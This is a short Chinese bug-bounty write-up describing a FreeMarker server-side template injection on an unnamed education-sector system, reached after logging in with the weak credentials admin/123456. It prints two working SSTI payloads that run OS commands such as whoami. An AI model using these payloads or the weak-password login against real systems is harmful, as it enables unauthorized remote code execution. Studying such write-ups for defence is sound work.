edusrc—freemarker模板注入RCE
免责声明:
由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
freemarker 简述
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件
信息收集
开局一个登入框弱口令admin/123456登入管理员
来到系统设置,发现有个模版维护
只要创建保存点击发布就会报错500
ps:报错的图忘截图了,大概是这样子的但是发现里面有freemarker字眼的,而且页面中正好有模版功能,想到freemarker模版是有漏洞的
漏洞利用
freemarker模板注入文章:
https://www.cnblogs.com/nice0e3/p/16217471.html
2个poc一起使用
<#assign value="freemarker.template.utility.ObjectConstructor"new()>${value("java.lang.ProcessBuilder","whoami").start()} <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whomai") }
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· AI与.NET技术实操系列(六):基于图像分类模型对图像进行分类